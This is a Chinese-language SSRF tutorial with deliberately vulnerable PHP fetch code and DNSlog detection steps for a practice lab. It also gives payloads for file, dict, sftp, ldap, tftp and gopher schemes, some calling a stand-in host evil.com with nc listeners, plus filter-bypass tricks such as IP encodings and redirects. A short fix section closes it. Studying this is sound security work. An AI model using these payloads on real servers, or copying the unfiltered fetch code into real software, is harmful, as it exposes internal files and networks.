概念
SSRF
(服务端请求伪造) 是一种攻击者构造服务端发送请求的一种漏洞, 一般情况下 SSRF的攻击目标是从外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而外网隔离的内部系统) 所有发出请求的地方都有可能SSRF
原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制 例如**,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造**。但是没有对我们构造的地址做限制导致我们可以传入任意的地址让服务端进行解析
所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞 ,出现https://
向外请求都可以通过dns.log
去请求发送后存在解析就可以
PHP中下面函数的使用不当会导致SSRF
file_get_contents()
下面的代码使用file_get_contents
函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户
java
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
sockopen():
使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
java
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
curl_exec():
cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在"curled"文件夹下的磁盘中,并附加了一个随机数和".txt"文件扩展名
java
<?php
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
SSRF
盲SSRF
简单地识别可以触发带外 HTTP 请求的盲SSRF 漏洞本身并不能提供可利用性的途径。由于您无法查看来自后端请求的响应,因此无法使用该操作来探索服务器上的内容。但是,它仍然可以用来探测服务器本身或其他后端系统上的其他漏洞 。您可以盲目扫荡内部 IP
地址空间,发送可以检测已知漏洞的有payload
。如果这些payload(比如可以实现反弹shell或者各种带外能力比如nslookup)还使用了带外技术,那么就会发现未打补丁的内部服务器上的严重漏洞。
python
有回显型的 SSRF 就是会将访问到的信息返回给攻击者,而无回显的 ssrf 则不会,
但是可以通过带外通道比如dnslog)或者访问开放/未开放的端口导致的延时来判断,
请求 一个东西存在就很快没有就很慢 所以是可
通过抓包或查看服务器日志判断是否存在服务端请求伪造漏洞。
Dnslog方法
无论有回显还是无回显都去使用这个方法去试试看,只要存在请求是外部地址的情况,xxx=https:
都可以放这个方法,暂时对普通的命令ecat\passwd
不熟悉,哪怕用了也可能没有回显包括还有一些协议,所以我们看到存在链接的果断 Dnslog
去探测只要请求了那么就有SSRF
,如果拦了那么就再说,不能放过这种点
无回显SSRF
可能DNS.log
没有解析回显,尝试查看响应包的时间戳解析,这里需要另外学习
使用方法
**0X01 **
打开网站复制获得的子域名,并且自行添加上 http://pqiczg.dnslog.cn
0X02
打开靶场观察url
存在外部的路径访问 直接替换拼接
替换后刷新页面发送请求
0X03
回到Dnslog
刷新解析记录 存在回显记录证明存在SSRF
同URL跳转区别/IP判断法
二者虽然都涉及到跳转但是性质和影响是不同的
- URL跳转(URL Redirection): URL跳转通常指的是在前端(浏览器)中进行的操作,它涉及将用户从一个URL导航到另一个URL。这种操作常用于网页设计中的页面跳转、链接点击等。虽然URL跳转可能会被滥用用于欺骗性的钓鱼攻击,但它通常是一个功能,而不是一个安全漏洞。URL跳转涉及的URL是明确的、公开的,且通常由用户触发。
- SSRF漏洞(Server-Side Request Forgery): SSRF漏洞是一种安全漏洞,它允许攻击者在服务器端发起未经授权的请求,这些请求可以是指向外部或内部的资源。攻击者可以通过构造特定的请求,使服务器代表其请求其他服务器上的资源,包括内部网络资源,从而可能泄漏敏感信息或执行未经授权的操作。SSRF漏洞的危害更大,因为攻击者可以通过操作服务器来访问其他资源,甚至可能在内部网络中扫描漏洞、访问数据库等
python
URL跳转主要是前端行为,而SSRF漏洞涉及后端服务器的操作,允许攻击者在服务器上执行请求,
URI跳转是因为跳转才叫跳转 SSRF是直接在当前页面执行的,等于刷新一遍请求
使用Pikachu
靶场做练习,如果DNS
收到的IP
是本机的IP
那么代表是URL
跳转,如是 其他IP
则代表是经过了其他的服务器,经过了内网那么就是SSRF
伪协议
URL伪协议("uris") 是一种用于标识互联网资源的命名体系。uris可以通过不同的方案来定义,其中包括伪协议。伪协议是一种将uri关联到特殊操作或处理程序的简单方法。
mailto:
:用于指定电子邮件地址。tel:
:用于指定电话号码。ftp:
:用于指定文件传输协议地址。file:
:用于指定本地文件系统上的文件路径。data:
:用于在uri中嵌入小型数据。javascript:
:用于执行javascript代码或跳转到另一个网页 重定向about:
:用于访问浏览器内置的页面,如"about:blank"表示空白页面,"about:config"用于访问浏览器配置
SSRF中URL的伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
java
file://:从文件系统中获取文件内容,如,file:///etc/passwd
dict://:字典服务器协议,访问字典资源,如,dict:///ip:6739/info
gopher://:分布式文档传递服务,可使用gopherus生成payload。
http:// 外部资源或者内部资源的获取 http:baidu.com
1.file
读取本地文件
java
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:
2.dict 获取内网主机开放端口相应服务的指纹信息
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
java
http://example.com/ssrf.php? dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3.sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作
java
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4.ldap **://或ldaps😗***// 或ldapi://**
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
java
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337
/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp**😗***//** 内网协议获取其他主机上的协议
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机
java
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息
java
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
绕过方式
IP表示法
python
尝试使用不同的IP表示法(如十进制,八进制,十六进制等)绕过输入验证和过
127.0.0.1
127.0.0.1-->localhost
127.0.0.1-->7F000001 十六进制
127.0.0.1-->2130706433 十进制
http://192.168.0.1 >>> http://3232235521/
127.0.0.1-->2130706433 Enclosed Alphanumerics
http://192.168.1.1 >>> http://3232235777/
域名解析
python
使用特殊的域名或子域名,如:localhost,127.0.0.1.xip.io等,来访问内部资源
localhost
xip.io
http://127。0。0。1
http://0.0.0.0/
http://0/
点分割符号
python
http://www。qq。com
http://www。qq。com
http://www.qq.com
本地回传
python
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80
HTTP重定向
python
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,这个时候可以尝试使用302跳转的方式来进行绕过
可通过在线生成短域名进行302跳转
利用HTTP重定向(如301,302跳转将请求从外部资源重定向到内部资源)
访问短网址会自动跳转到原来冗长的网址,利用短网址这个特性,我们可以绕过URL参数检测的黑名单
利用网址:https://www.urlc.cn/
修复
- 限制不能访问内网的
IP
端口,以防止对内网进行攻击 - 设置统一报错信息 防止通过伪协议读取内网